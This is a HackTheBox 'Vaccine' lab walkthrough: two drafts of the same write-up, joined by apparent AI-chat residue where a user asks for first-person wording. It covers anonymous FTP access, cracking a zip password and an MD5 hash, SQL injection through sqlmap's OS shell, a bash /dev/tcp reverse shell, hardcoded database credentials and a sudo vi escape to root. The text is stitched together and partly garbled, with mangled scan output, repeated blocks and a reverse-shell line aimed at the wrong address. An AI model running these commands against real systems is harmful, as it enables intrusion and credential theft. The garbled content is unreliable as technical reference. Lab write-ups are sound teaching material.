

Vaccine Machine

Introduction

Vaccine is a beginner-friendly machine from HackTheBox's Starting Point series. It teaches some fundamental concepts in penetration testing - enumeration, password cracking, SQL injection, and privilege escalation. The cool thing about this box is how it chains multiple vulnerabilities together. You'll need to be patient and thorough with your enumeration because that's really the key here.

Getting Started - Enumeration

First things first, let's see what we're working with. I fired up Nmap to scan the target:

bash

```
nmap -sC -sV 10.129.95.174
```

The scan came back with three open ports:

- **Port 21** - FTP running vsftpd 3.0.3, and here's the interesting part - anonymous login is allowed
- **Port 22** - SSH (OpenSSH 8.0p1)
- **Port 80** - Apache web server with some kind of login page

```
POR      STATE SERVICE
t21/tcp  open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_rwxr-xr-x   1 0          0          2533 Apr 13  2021 backup.zip
| ftp-syst:
| STAT:
| FTP server status:
|   Connected to ::ffff:10.10.14.67
|   Logged in as ftpuser
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 3
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
22/tcp  open  ssh
| ssh-hostkey:
|   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
|   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp  open  http
|_http-title: MegaCorp Login
```

Since we don't have any SSH credentials yet, FTP seems like the obvious place to start, especially since it's allowing anonymous access.

FTP - Finding the Backup

I connected to the FTP service using the anonymous credentials:

bash

ftp 10.129.95.174

When it asked for a username, I typed anonymous, and for the password I used anon123 (which Nmap actually told us in the scan results).

Once inside, I listed the files and found a backup.zip file just sitting there. Downloaded it immediately:

```
[eu-starting-point-vip-1-dhcp]-[10.10.14.67]-[ttla@htb-z0kqds4umi]-[~]
└── [★]$ ftp 10.129.95.174
Connected to 10.129.95.174.
220 (vsFTPd 3.0.3)
Name (10.129.95.174:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10252|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0          0          2533 Apr 13  2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10172|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |*****| 2533      2.06 MiB/s   00:00 ETA
226 Transfer complete.
2533 bytes received in 00:00 (30.59 KiB/s)
ftp> ls
```

bash

ftp> get backup.zip

Cracking the ZIP Password

Tried to unzip the file but of course, it's password protected. This is where John the Ripper comes in handy.

olders	Name	Size	Type	Date Modified
backup.zip	index.php	2.6 kB	PHP script	03 February 2020, 05:57
	style.css	3.3 kB	CSS stylesh...	03 February 2020, 14:04

John has this neat tool called zip2john that converts the ZIP file into a format John can work with:

```
[eu-starting-point-vip-1-dhcp]-[10.10.14.67]-[ttla@htb-z0kqds4umi]-[~]
└── [★]$ zip2john -c backup.zip
Outputting hashes that are 'checksum ONLY' hashes
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201,
decrlen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, d
ecrlen=3274, crc=1B1CCD6A ts=989A cs=989a type=8
backup.zip:$pkzip$2*1*1*0*8*24*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d2
5e53c82afc7c1598fbc3fff28a17*1*0*8*24*5722*543fb39ed1a919ce7b58641a238e00f4cb3a8
26cfb1b8f4b225aa15c4ffda8fe72f60a82*/$:/pkzip$::backup.zip:style.css, index.php:ba
ckup.zip
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
```

zip2john backup.zip > test.txt

Then I ran John against it with the rockyou wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt test.txt

It cracked pretty quickly - the password was 741852963.

Extracted the files and got two things:

- index.php
- style.css

Finding Credentials in the Source Code

I opened up index.php and found the login logic. Check this out:

php

```
if($_POST['username'] === 'admin' &&
md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
```

```
}
```

So the username is admin and the password is hashed with MD5. The hash is 2cb42f8734ea607eefed3b70af13bbd3.

```
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) ===
"2cb42f8734ea607eefed3b70af13bbd3") {
        $_SESSION['login'] = "true";
        header("Location: dashboard.php");
```



```
$ hashid 2cb42f8734ea607eefed3b70af13bbd3

Analyzing '2cb42f8734ea607eefed3b70af13bbd3'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snelfru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
```

MD5 is super weak, so this should crack easily. I threw it into hashcat:

```
echo "2cb42f8734ea607eefed3b70af13bbd3" > hash
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
```

```
$ echo '2cb42f8734ea607eefed3b70af13bbd3' > hash
$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEPF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
-----
* Device #1: pthread-Intel(R) Core(TM) i5-1038NG7 CPU @ 2.00GHz, 3234/3298 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keystream.: 14344385

2cb42f8734ea607eefed3b70af13bbd3:qwerty789
```

Went to the website at `http://10.129.95.174` and logged in with:

- Username: admin
- Password: qwerty789

Got access to this "MegaCorp Car Catalogue" dashboard. It's basically a car database with a search function. Anytime I see search functionality, I immediately think SQL injection.

MegaCorp Car Catalogue

Name	Type	Fuel	Engine
Elixir	Sports	Petrol	2000cc
Sandy	Sedan	Petrol	1000cc
Meta	SUV	Petrol	800cc
Zeus	Sedan	Diesel	1000cc
Alpha	SUV	Petrol	1200cc
Canon	Minivan	Diesel	600cc

The search feature uses a GET parameter in the URL like this:

<http://10.129.95.174/dashboard.php?search=whatever>

Time to test it with SQLMap. First, I needed to grab my session cookie since I'm logged in. I used the Cookie Editor extension in my browser to get the PHPSESSID value.

Cookie-Editor v1.13.0

Ad Enjoying Cookie-Editor? Buy me a coffee! Not interested Later

PHPSESSID

Name: PHPSESSID
Value: bphsvjsgb9k03jca7pbjurup

Show Advanced

+ -

Then ran SQLMap:

bash

```
sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' \
--cookie="PHPSESSID=bphsvjsgb9k03jca7pbjurup" \
--batch
```

SQLMap confirmed it - the search parameter is vulnerable to SQL injection!

Getting a Shell

Instead of manually dumping databases, I went straight for a shell using SQLMap's --os-shell feature:

```
bash
```

```
sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' \
--cookie="PHPSESSID=bphsvjsgb9k03jca7pbjurup" \
--os-shell
```

This gave me command execution, but the shell was pretty unstable. So I upgraded to a proper reverse shell.

```
[eu-starting-point-vip-1-dhcp]-[10.10.14.67]-[ttla@htb-z0kqds4umi]-[~]
└── [★]$ sudo nc -lvpn 443
listening on [any] 443 ...
connect to [10.10.14.67] from (UNKNOWN) [10.129.95.174] 33956
bash: cannot set terminal process group (4074): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$ whoami
whoami
postgres
```

Set up a netcat listener on my machine:

```
bash
```

```
sudo nc -lvpn 443
```

Then from the SQLMap shell, I executed a bash reverse shell:

```
bash
```

```
bash -c "bash -i >& /dev/tcp/10.129.95.174/443 0>&1"
```

Got the connection back as the postgres user!

Stabilizing the Shell

The shell was pretty basic, so I made it fully interactive:

```
bash
```

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Then hit CTRL+Z to background it, and typed:

```
bash
stty raw -echo
fg
export TERM=xterm
```

Now I had a proper shell. The user flag was sitting in the postgres home directory at /var/lib/postgresql/user.txt.

Finding More Credentials

I started poking around the web directory at /var/www/html and checked out the dashboard.php file. Found this interesting line:

```
php
$conn = pg_connect("host=localhost port=5432 dbname=carsdb
                    user=postgres password=P@s5w0rd!");
```

So the postgres user's password is P@s5w0rd!. Nice!

I used this to SSH into the box for a more stable connection:

```
bash
ssh postgres@10.129.95.174
```

Privilege Escalation

Time to see what sudo privileges we have:

```
bash
sudo -l
...
```

Output showed:

...

User postgres may run the following commands on vaccine:

```
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

Interesting - we can run vi as root to edit this specific config file. I checked GTFOBins for vi and found we can escape to a shell from vi.

Ran this command:

```
bash
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

...

Once vi opened, I hit `` to enter command mode and typed:

...

```
:set shell=/bin/sh
```

```
:shell
```

And just like that, I got a root shell!

```
bash
```

```
# whoami
```

```
root
```

```
# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

Root flag was in /root/root.txt.

Lessons Learned

This box really drives home a few important points:

1. **Enumeration is everything** - Anonymous FTP access led to the backup file, which led to credentials, which led to more credentials.
2. **Password security matters** - Weak passwords (741852963, qwerty789) and old hashing algorithms (MD5) are easy targets.
3. **Never hardcode credentials** - Both the admin password and the database password were sitting in source code.
4. **Input validation is critical** - The SQL injection could have been prevented with proper input sanitization and parameterized queries.
5. **Sudo privileges need careful configuration** - Allowing vi with sudo is basically handing over root access.

The vulnerability chain was: Anonymous FTP → Weak ZIP password → Hardcoded MD5 hash → Weak password → SQL injection → Hardcoded DB password → Sudo misconfiguration → Root.

Each step built on the previous one, which is pretty realistic for how attacks actually work in the real world.

That's it! Much more casual and natural, right? Let me know if you want me to adjust anything else!

Retry

L

don't use we what do you mean we , I

Ah got it! Let me rewrite it in first person:

Vaccine Machine - Walkthrough

Introduction

Vaccine is a beginner-friendly machine from HackTheBox's Starting Point series. It teaches some fundamental concepts in penetration testing - enumeration, password cracking, SQL injection, and privilege escalation. The cool thing about this box is how it chains multiple vulnerabilities together. I needed to be patient and thorough with my enumeration because that's really the key here.

Getting Started - Enumeration

First things first, I wanted to see what I was working with. I fired up Nmap to scan the target:

bash

```
nmap -sC -sV 10.129.95.174
```

The scan came back with three open ports:

- **Port 21** - FTP running vsftpd 3.0.3, and here's the interesting part - anonymous login is allowed
- **Port 22** - SSH (OpenSSH 8.0p1)
- **Port 80** - Apache web server with some kind of login page

Since I didn't have any SSH credentials yet, FTP seemed like the obvious place to start, especially since it's allowing anonymous access.

FTP - Finding the Backup

I connected to the FTP service using the anonymous credentials:

bash

```
ftp 10.129.95.174
```

When it asked for a username, I typed anonymous, and for the password I used anon123 (which Nmap actually told me in the scan results).

Once inside, I listed the files and found a backup.zip file just sitting there. I downloaded it immediately:

bash

```
ftp> get backup.zip
```

Cracking the ZIP Password

I tried to unzip the file but of course, it's password protected. This is where John the Ripper comes in handy.

John has this neat tool called zip2john that converts the ZIP file into a format John can work with:

```
bash
```

```
zip2john backup.zip > hashes
```

Then I ran John against it with the rockyou wordlist:

```
bash
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

It cracked pretty quickly - the password was 741852963.

I extracted the files and got two things:

- index.php
 - style.css
-

Finding Credentials in the Source Code

I opened up index.php and found the login logic. Check this out:

```
php
```

```
if($_POST['username'] === 'admin' &&
    md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
    $_SESSION['login'] = "true";
    header("Location: dashboard.php");
}
```

So the username is admin and the password is hashed with MD5. The hash is 2cb42f8734ea607eefed3b70af13bbd3.

MD5 is super weak, so this should crack easily. I threw it into hashcat:

```
bash
```

```
echo "2cb42f8734ea607eefed3b70af13bbd3" > hash
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
...
```

Boom - password is `qwerty789`. Classic weak password.

Logging Into the Web App

I went to the website at `http://10.129.95.174` and logged in with:

- Username: admin
- Password: qwerty789

I got access to this "MegaCorp Car Catalogue" dashboard. It's basically a car database with a search function. Anytime I see search functionality, I immediately think SQL injection.

SQL Injection with SQLMap

The search feature uses a GET parameter in the URL like this:

...

`http://10.129.95.174/dashboard.php?search=whatever`

Time to test it with SQLMap. First, I needed to grab my session cookie since I was logged in. I used the Cookie Editor extension in my browser to get the PHPSESSID value.

Then I ran SQLMap:

bash

```
sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' \
--cookie="PHPSESSID=bphsvjsgb9k03jca7pbjurnup" \
--batch
```

SQLMap confirmed it - the search parameter is vulnerable to SQL injection!

Getting a Shell

Instead of manually dumping databases, I went straight for a shell using SQLMap's --os-shell feature:

bash

```
sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' \
--cookie="PHPSESSID=bphsvjsgb9k03jca7pbjurnup" \
```

```
--os-shell
```

This gave me command execution, but the shell was pretty unstable. So I upgraded to a proper reverse shell.

I set up a netcat listener on my machine:

```
bash
```

```
sudo nc -lvp 443
```

Then from the SQLMap shell, I executed a bash reverse shell:

```
bash
```

```
bash -c "bash -i >& /dev/tcp/10.129.95.174/443 0>&1"
```

I got the connection back as the postgres user!

Stabilizing the Shell

The shell was pretty basic, so I made it fully interactive:

```
bash
```

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Then I hit CTRL+Z to background it, and typed:

```
bash
```

```
stty raw -echo
```

```
fg
```

```
export TERM=xterm
```

Now I had a proper shell. The user flag was sitting in the postgres home directory at /var/lib/postgresql/user.txt.

```
# cd ..
# ls -al
total 12
drwxr-xr-x  3 root root 4096 Jul 23  2021 .
drwxr-xr-x 15 root root 4096 Jul 23  2021 ..
drwxr-xr-x  2 root root 4096 Jul 23  2021 html
# cd
# ls
pg_hba.conf  root.txt  snap
# cd ..
# pwd
/
# cd var
# cd lib
# cd postgresql
# cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
#
```

Finding More Credentials

I started poking around the web directory at /var/www/html and checked out the dashboard.php file. I found this interesting line:

```
<?php
session_start();
if($_SESSION['login'] !== "true") {
    header("Location: index.php");
    die();
}
try {
    $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}
catch ( exception $e ) {
    echo $e->getMessage();
}

if(isset($_REQUEST['search'])) {
```

ssh postgres@10.129.95.174

Privilege Escalation

Time to see what sudo privileges I have:

bash

sudo -l

Output showed:

User postgres may run the following commands on vaccine:

(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

Interesting - I can run vi as root to edit this specific config file. I checked GTFOBins for vi and found I can escape to a shell from vi.

I ran this command:

bash

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

Once vi opened, I hit `:` to enter command mode and typed:

```
# PostgreSQL Client Authentication Configuration File
# =====
#
# Refer to the "Client Authentication" section in the PostgreSQL
# documentation for a complete description of this file. A short
# synopsis follows.
#
# This file controls: which hosts are allowed to connect, how clients
# are authenticated, which PostgreSQL user names they can use, which
# databases they can access. Records take one of these forms:
#
# local      DATABASE  USER  METHOD  [OPTIONS]
# host       DATABASE  USER  ADDRESS  METHOD  [OPTIONS]
# hostssl    DATABASE  USER  ADDRESS  METHOD  [OPTIONS]
# hostnossal DATABASE  USER  ADDRESS  METHOD  [OPTIONS]
#
# (The uppercase items must be replaced by actual values.)
#
# The first field is the connection type: "local" is a Unix-domain
# socket, "host" is either a plain or SSL-encrypted TCP/IP socket,
# "hostssl" is an SSL-encrypted TCP/IP socket, and "hostnossal" is a
# plain TCP/IP socket.
#
# DATABASE can be "all", "sameuser", "samerole", "replication", a
# database name, or a comma-separated list thereof. The "all"
# keyword does not match "replication". Access to replication
# must be enabled in a separate record (see example below).
#
# USER can be "all", a user name, a group name prefixed with "+", or a
# comma-separated list thereof. In both the DATABASE and USER fields
# you can also write a file name prefixed with "@" to include names
# from a separate file.
#
:set shell=/bin/sh
```

:set shell=/bin/sh

```
# PostgreSQL Client Authentication Configuration File
# =====
#
# Refer to the "Client Authentication" section in the PostgreSQL
# documentation for a complete description of this file. A short
# synopsis follows.
#
# This file controls: which hosts are allowed to connect, how clients
# are authenticated, which PostgreSQL user names they can use, which
# databases they can access. Records take one of these forms:
#
# local      DATABASE  USER  METHOD  [OPTIONS]
# host       DATABASE  USER  ADDRESS  METHOD  [OPTIONS]
# hostssl    DATABASE  USER  ADDRESS  METHOD  [OPTIONS]
# hostnoss  DATABASE  USER  ADDRESS  METHOD  [OPTIONS]
#
# (The uppercase items must be replaced by actual values.)
#
# The first field is the connection type: "local" is a Unix-domain
# socket, "host" is either a plain or SSL-encrypted TCP/IP socket,
# "hostssl" is an SSL-encrypted TCP/IP socket, and "hostnoss" is a
# plain TCP/IP socket.
#
# DATABASE can be "all", "sameuser", "samerole", "replication", a
# database name, or a comma-separated list thereof. The "all"
# keyword does not match "replication". Access to replication
# must be enabled in a separate record (see example below).
#
# USER can be "all", a user name, a group name prefixed with "+", or a
# comma-separated list thereof. In both the DATABASE and USER fields
# you can also write a file name prefixed with "@" to include names
# from a separate file.
#
#:shell:
```

:shell

And just like that, I got a root shell!

bash

```
# whoami
```

```
#  
# whoami  
root
```

```
# id
```

```
#  
# whoami  
root
```

uid=0(root) gid=0(root) groups=0(root)

Root flag was in /root/root.txt.

dd6e058e814260bc70e9bbdef2715849